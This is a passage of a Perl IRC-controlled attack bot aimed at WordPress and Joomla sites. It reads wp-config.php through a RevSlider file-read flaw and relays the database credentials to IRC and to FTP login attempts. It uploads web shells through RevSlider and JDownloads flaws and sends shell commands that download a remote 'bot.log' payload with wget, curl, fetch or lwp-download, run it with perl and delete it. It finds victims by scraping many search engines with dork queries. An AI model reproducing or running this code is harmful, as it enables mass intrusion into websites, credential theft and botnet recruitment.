  680. my $check = &get_content($target."?action=revslider_show_image&img=../wp-config.php");
  681. if ($check =~ /define\('DB_USER'/) {
  682. &msg("$chan","$revlogo $engine 0Checking 11http://$site ");
  683. my ($host,$user,$pass,@userz);
  684. if ($check =~ /define\('DB_HOST', '(.*)'\);/) { $host = $1; }
  685. if ($check =~ /define\('DB_USER', '(.*)'\);/) { $user = $1; }
  686. if ($check =~ /define\('DB_PASSWORD', '(.*)'\);/) { $pass = $1; }
  687. if ($host =~ /127.0.0.1/) { $host = $cekftp}
  688. if ($host =~ /localhost/i) { $host = $cekftp}
  689. &msg("$chanxxx","$revlogo $engine 3Database 14Host:3 $host 14| 15User:3 $user 14| 6Pass:10 $pass ");
  690. if ($user =~ /_/) { @userz = split(/_/,$user); $user = $userz[0]; }
  691. my $success = 1;
  692. use Net::FTP;
  693. eval {
  694. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  695. $success = 0 if $ftp->login($user,$pass);
  696. $ftp->quit;
  697. };
  698. if ($success == 0) {
  699. &msg("$channel","$revlogo 15,1$engine 9<4=9>11 4FTP 0send TO 8$nick 6Success");
  700. &msg("$nick","14[9FTP14] [ 3http://".$host." 14] [".$user." : ".$pass."10] 6Success ");
  701. &msg("$admin","14[9FTP14] [ 3http://".$host." 14] [".$user." : ".$pass."10] 6Success ");
  702. }
  703. my $shell = "http://".$site."wp-content/plugins/revslider/temp/update_extract/revslider/joss.php";
  704. my $aplod = LWP::UserAgent->new;
  705. my $res = $aplod->post($target, Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["$upl"]]);
  706. my $hasil = $res->as_string;
  707. if ($hasil =~ /Wrong update extracted folder/) {
  708. my $magic = "http://".$site."wp-admin/user/joss.php";
  709. my $check = &get_all($shell);
  710. my $check2 = &get_all($magic);
  711. my $tk = $check->code;
  712.  
  713. if ($tk == 200) {
  714. &msg("$channel","$revlogo 15,1$engine 11 Code :: $tk :: shell :: $shell");
  715. my $check = &get_all($shell."?cmd=cd%20/tmp%20;wget%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  716. my $check = &get_content($shell."?cmd=cd%20/tmp%20;lwp-download%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  717. my $check = &get_content($shell."?cmd=cd%20/tmp%20;fetch%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  718. my $check = &get_content($shell."?cmd=cd%20/tmp%20;curl -O%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  719. my $safe = ""; my $os = ""; my $uid = "";
  720. if ($check->decoded_content =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  721. if ($check->decoded_content =~ /Uname : (.*?)<\/b>/){$os=$1;}
  722. if ($check->decoded_content =~ /uid=(.*?)gid=/){$uid=$1;}
  723. &msg("$channel","$revlogo 15,1$engine 11 $nick 15[SafeMode=$safe] [OS=$os] uid=$uid");
  724. if ($nick eq $admin) {
  725. &msg("$admin","$revlogo 15,1$engine 9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
  726. } else {
  727. &msg("$nick","$revlogo 15,1$engine 4<9=4>9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
  728. &msg("$admin","$revlogo 15,1$engine 9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
  729. }
  730. if ($check2 =~ /Shell/i) {
  731. my $check = &get_content($magic."?cmd=cd%20/tmp%20;wget%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  732. my $check = &get_content($magic."?cmd=cd%20/tmp%20;lwp-download%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  733. my $check = &get_content($magic."?cmd=cd%20/tmp%20;fetch%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  734. my $check = &get_content($magic."?cmd=cd%20/tmp%20;curl -O%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  735. my $safe = ""; my $os = ""; my $uid = "";
  736. if ($check2->decoded_content =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  737. if ($check2->decoded_content =~ /Uname : (.*?)<\/b>/){$os=$1;}
  738. if ($check2->decoded_content =~ /uid=(.*?)gid=/){$uid=$1;}
  739. &msg("$channel","$revlogo 15,1$engine 11 $admin 15[SafeMode=$safe] [OS=$os] uid=$uid");
  740. if ($nick eq $admin) {
  741. &msg("$admin","$revlogo 15,1$engine 9 $magic 15[SafeMode=$safe] [OS=$os] uid=$uid");
  742. }
  743. }
  744. }
  745. }
  746. }exit;
  747. }
  748. }
  749. }
  750. }
  751. sub get_all() {
  752. my $url = $_[0];
  753. my $ua = LWP::UserAgent->new(agent => &randomagent());
  754. $ua->timeout($timot);
  755. my $req = HTTP::Request->new(GET => $url);
  756. my $res = $ua->request($req);
  757. return $res;
  758. }
  759. sub jdownload() {
  760. my $chan = $_[0];
  761. my $bug = $_[1];
  762. my $dork = $_[2];
  763. my $engine = $_[3];
  764. my $nick = $_[4];
  765. my $count = 0;
  766. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jomlogo);
  767. my $num = scalar(@totexploit);
  768. if ($num > 0){
  769. foreach my $site(@totexploit){
  770. $count++;
  771. if ($count == $num-1) { &msg("$channel","$jomlogo 6$engine 15Done"); }
  772. my $test = "http://".$site.$bug;
  773. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  774. my $shell = "http://".$site."images/jdownloads/screenshots/roin.php.j?baca";
  775. my $cek = &get_content($test);sleep(1);
  776. if ($cek =~ /Submit file/i){
  777. my $magic = "http://".$site."logs/libs.inc.php.j";
  778. my $explo = $rceinjector."?url=".$site."&type=down";
  779. my $exp = $rceinjector2."?url=".$site."&type=down";
  780. &get_content($explo);sleep(3);
  781. &get_content($exp);
  782. my $check = &get_content($shell);sleep(3);
  783. my $check2 = &get_content($magic);
  784. if ($check =~ /roin SHeLL/i){
  785. my $check = &get_content($shell."?cmd=cd%20/tmp%20;wget%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  786. my $check = &get_content($shell."?cmd=cd%20/tmp%20;lwp-download%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  787. my $check = &get_content($shell."?cmd=cd%20/tmp%20;fetch%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  788. my $check = &get_content($shell."?cmd=cd%20/tmp%20;curl -O%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  789. my $safe = ""; my $os = ""; my $uid = "";
  790. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  791. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  792. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  793. &msg("$channel","$jomlogo 15,1$engine 9<4=9>11 $nick 15[SafeMode=$safe] [OS=$os] uid=$uid");
  794. if ($nick eq $admin) {
  795. &msg("$admin","$jomlogo 15,1$engine 4<9=4>9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
  796. } else {
  797. &msg("$nick","$jomlogo 15,1$engine 4<9=4>9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
  798. &msg("$admin","$jomlogo 15,1$engine 4<9=4>9 $shell 15[SafeMode=$safe] [OS=$os] uid=$uid");
  799. }
  800. if ($check2 =~ /BArNEr/i) {
  801. my $check = &get_content($magic."?cmd=cd%20/tmp%20;wget%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  802. my $check = &get_content($magic."?cmd=cd%20/tmp%20;lwp-download%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  803. my $check = &get_content($magic."?cmd=cd%20/tmp%20;fetch%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  804. my $check = &get_content($magic."?cmd=cd%20/tmp%20;curl -O%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
  805. my $safe = ""; my $os = ""; my $uid = "";
  806. if ($check2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  807. if ($check2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  808. if ($check2 =~ /uid=(.*?)gid=/){$uid=$1;}
  809. &msg("$channel","$jomlogo 15,1$engine 11 $admin 15[SafeMode=$safe] [OS=$os] uid=$uid");
  810. if ($nick eq $admin) {
  811. &msg("$admin","$jomlogo 15,1$engine 9 $magic 15[SafeMode=$safe] [OS=$os] uid=$uid");
  812. }
  813. }
  814. }
  815. } exit; }
  816. }
  817. }
  818. }
  819. ##################################################################################
  820. sub ftp_connect {
  821. my $url = $_[0];
  822. my $host = $_[1];
  823. my $user = $_[2];
  824. my $pass = $_[3];
  825. my $chan = $_[4];
  826. my $engine = $_[5];
  827. my $logo = $_[6];
  828. my $success = 1;
  829. use Net::FTP;
  830. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
  831. $success = 0 if $ftp->login($user,$pass);
  832. $ftp->quit;
  833. if ($success == 0) {
  834. &msg("$chanxxx","$logo15$engine 12 FTP 15[ 4http://".$host." 15] [4 ".$user.":".$pass." 15]");
  835. }
  836. }
  837. ##################################################################################
  838.  
  839. sub search_engine() {
  840. my (@total,@clean);
  841. my $chan = $_[0];
  842. my $bug = $_[1];
  843. my $dork = $_[2];
  844. my $engine = $_[3];
  845. my $logo = $_[4];
  846. if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
  847. if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
  848. if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
  849. if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
  850. if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
  851. if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
  852. if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
  853. if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
  854. if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
  855. if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
  856. if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
  857. if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
  858. if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
  859. if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
  860. if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
  861. if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
  862. if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
  863. if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
  864. if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
  865. if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
  866. if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
  867. if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
  868. if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
  869. if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
  870. if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
  871. if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
  872. if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
  873. if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
  874. if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
  875. if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
  876. if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
  877. if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
  878. if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
  879. if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
  880. if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
  881. if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
  882. if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
  883. if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
  884. if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); }
  885. if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); }
  886. if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); }
  887. if ($engine eq "NET") { my @net = &net($dork); push(@total,@net); }
  888. if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); }
  889. if ($engine eq "COM") { my @com = &com($dork); push(@total,@com); }
  890. if ($engine eq "ORG") { my @org = &org($dork); push(@total,@org); }
  891. if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); }
  892. if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); }
  893. if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); }
  894. if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); }
  895. if ($engine eq "ME") { my @me = &me($dork); push(@total,@me); }
  896. if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); }
  897. if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); }
  898. if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); }
  899. if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); }
  900. if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); }
  901. if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); }
  902. if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); }
  903. if ($engine eq "US") { my @us = &us($dork); push(@total,@us); }
  904. if ($engine eq "INFO") { my @info = &info($dork); push(@total,@info); }
  905. if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); }
  906. if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); }
  907. if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); }
  908. if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); }
  909. if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); }
  910. if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); }
  911. if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); }
  912. if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); }
  913. if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); }
  914. if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); }
  915. if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); }
  916. if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); }
  917. if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); }
  918. if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); }
  919. if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); }
  920. if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); }
  921. if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); }
  922. if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); }
  923. if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); }
  924. if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); }
  925. if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); }
  926. if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); }
  927. if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); }
  928. if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); }
  929. if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); }
  930. if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); }
  931. if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); }
  932. if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); }
  933. if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); }
  934. if ($engine eq "BY") { my @by = &by($dork); push(@total,@by); }
  935. if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); }
  936. if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); }
  937. if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); }
  938. if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); }
  939. if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); }
  940. if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); }
  941. if ($engine eq "SU") { my @su = &su($dork); push(@total,@su); }
  942. if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); }
  943. if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); }
  944. if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); }
  945. if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); }
  946. if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); }
  947. if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); }
  948. if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); }
  949. if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); }
  950. if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); }
  951. if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); }
  952. if ($engine eq "TN") { my @tn = &tn($dork); push(@total,@tn); }
  953. if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); }
  954. if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); }
  955. if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); }
  956. if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); }
  957. if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); }
  958. if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); }
  959. if ($engine eq "MD") { my @md = &md($dork); push(@total,@md); }
  960. if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); }
  961. if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); }
  962. if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); }
  963. if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); }
  964. if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); }
  965. if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); }
  966. if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); }
  967. if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); }
  968. if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
  969. if ($engine eq "NG") { my @ng = &ng($dork); push(@total,@ng); }
  970. if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); }
  971. if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); }
  972. if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); }
  973. if ($engine eq "AM") { my @am = &am($dork); push(@total,@am); }
  974. if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); }
  975. if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); }
  976. if ($engine eq "GE") { my @ge = &ge($dork); push(@total,@ge); }
  977. if ($engine eq "KY") { my @ky = &ky($dork); push(@total,@ky); }
  978. if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); }
  979. if ($engine eq "MK") { my @mk = &mk($dork); push(@total,@mk); }
  980. if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); }
  981. if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); }
  982. if ($engine eq "SY") { my @sy = &sy($dork); push(@total,@sy); }
  983. if ($engine eq "LA") { my @la = &la($dork); push(@total,@la); }
  984. if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); }
  985. if ($engine eq "CY") { my @cy = &cy($dork); push(@total,@cy); }
  986. if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); }
  987. if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); }
  988. if ($engine eq "MUSEUM") { my @museum = &museum($dork); push(@total,@museum); }
  989. if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); }
  990. if ($engine eq "TK") { my @tk = &tk($dork); push(@total,@tk); }
  991. if ($engine eq "NU") { my @nu = &nu($dork); push(@total,@nu); }
  992. if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); }
  993. if ($engine eq "YE") { my @ye = &ye($dork); push(@total,@ye); }
  994. if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); }
  995. if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); }
  996. if ($engine eq "TZ") { my @tz = &tz($dork); push(@total,@tz); }
  997. if ($engine eq "RS") { my @rs = &rs($dork); push(@total,@rs); }
  998. if ($engine eq "PM") { my @pm = &pm($dork); push(@total,@pm); }
  999. if ($engine eq "LT") { my @lt = &lt($dork); push(@total,@lt); }
  1000. if ($engine eq "MZ") { my @mz = &mz($dork); push(@total,@mz); }
  1001. if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); }
  1002. if ($engine eq "AL") { my @al = &al($dork); push(@total,@al); }
  1003. if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); }
  1004. if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); }
  1005. if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); }
  1006. if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
  1007. if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); }
  1008. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  1009. if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  1010. if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  1011. if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  1012. if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  1013. if ($engine eq "UoL") { my @uol = &uol($dork,$chan); push(@total,@uol); }
  1014. if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
  1015. if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  1016. if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  1017. if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  1018. if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  1019. if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  1020. if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  1021. if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  1022. if ($engine eq "Yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); }
  1023. if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); }
  1024. if ($engine eq "QuinT") { my @quint = &quint($dork); push(@total,@quint); }
  1025. if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); }
  1026. if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }
  1027. if ($engine eq "ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); }
  1028. if ($engine eq "webcrawler") { my @webcrawler = &webcrawler($dork); push(@total,@webcrawler); }
  1029. if ($engine eq "witch") { my @witch = &witch($dork); push(@total,@witch); }
  1030. if ($engine eq "amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); }
  1031. if ($engine eq "gibla") { my @gibla = &gibla($dork); push(@total,@gibla); }
  1032. if ($engine eq "mywebsearch") { my @mywebsearch = &mywebsearch($dork); push(@total,@mywebsearch); }
  1033. if ($engine eq "dogpile") { my @dogpile = &dogpile($dork); push(@total,@dogpile); }
  1034. if ($engine eq "infocom") { my @infocom = &infocom($dork); push(@total,@infocom); }
  1035. if ($engine eq "searchcom") { my @searchcom = &searchcom($dork); push(@total,@searchcom); }
  1036. if ($engine eq "teoma") { my @teoma = &teoma($dork); push(@total,@teoma); }
  1037. if ($engine eq "volunia") { my @volunia = &volunia($dork); push(@total,@volunia); }
  1038. if ($engine eq "izito") { my @izito = &izito($dork); push(@total,@izito); }
  1039. if ($engine eq "becak") { my @becak = &becak($dork); push(@total,@becak); }
  1040. if ($engine eq "bokep") { my @bokep = &bokep($dork); push(@total,@bokep); }
  1041. if ($engine eq "searchnz") { my @searchnz = &searchnz($dork); push(@total,@searchnz); }
  1042. @clean = &clean(@total);
  1043. if (scalar(@total) != 0) {
  1044. &msg("$chan","$logo 15$engine14 ".scalar(@total).""); }
  1045. return @clean;
  1046. }
  1047. ##################################################################################
  1048. sub isFound() {
  1049. my $status = 0;
  1050. my $link = $_[0];
  1051. my $reqexp = $_[1];
  1052. my $res = &get_content($link);
  1053. if ($res =~ /$reqexp/) { $status = 1 }
  1054. return $status;
  1055. }
  1056.  
  1057. sub get_content() {
  1058. my $url = $_[0];
  1059. my $ua = LWP::UserAgent->new(agent => $uagent);
  1060. $ua->timeout($timot);
  1061. my $req = HTTP::Request->new(GET => $url);
  1062. my $res = $ua->request($req);
  1063. return $res->content;
  1064. }
  1065. ######################################### SEARCH ENGINE
  1066. sub becak() {
  1067. my @list;
  1068. my $key = $_[0];
  1069. my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm","co.kr");
  1070. foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  1071. for ($b=1; $b<=200; $b+=10) {
  1072. my $search = ("http://www.google.".$dom."/search?num=50&q=".uri_escape($key)."&start=".$b."&sa=N");
  1073. my $res = search_engine_query($search);
  1074. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1075. if ($1 !~ /google/){
  1076. my $link = $1;
  1077. my @grep = &links($link);
  1078. push(@list,@grep);
  1079. }
  1080. }
  1081. }
  1082. return @list;
  1083. }
  1084. }
  1085.  
  1086. sub bokep() {
  1087. my @list;
  1088. my $key = $_[0];
  1089. for ($b=0; $b<=300; $b+=10) {
  1090. my $search = ("http://www.search.xxx/search/?q=".uri_escape($key)."&lr=all&cat=&or=&start=".$b);
  1091. my $res = search_engine_query($search);
  1092. while ($res =~ m/<h2 class=\"result-web\">(.*?)<\/h2>/g) {
  1093. if ($1 !~ /search\.xxx/){
  1094. my $link = $1;
  1095. my @grep = &links($link);
  1096. push(@list,@grep);
  1097. }
  1098. }
  1099. }
  1100. return @list;
  1101. }
  1102.  
  1103. sub searchnz() {
  1104. my @list;
  1105. my $key = $_[0];
  1106. for ($b=1; $b<=40; $b+=1) {
  1107. my $search = ("http://searchnz.co.nz/search.aspx?q=".uri_escape($key)."&gr=false&np=".$b);
  1108. my $res = search_engine_query($search);
  1109. while ($res =~ m/>http:\/\/(.+?)<\/a><\/div>/g) {
  1110. if ($1 !~ /webads\.co\.nz/){
  1111. my $link = $1;
  1112. my @grep = &links($link);
  1113. push(@list,@grep);
  1114. }
  1115. }
  1116. }
  1117. return @list;
  1118. }
  1119.  
  1120. sub webcrawler() {
  1121. my @list;
  1122. my $key = $_[0];
  1123. for ($i = 0 ;$i <= 1400 ;$i += 20) {
  1124. my $clink = ("http://www.webcrawler.com/search/web?qsi=".$i."&q=".uri_escape($key)."&fcop=results-top");
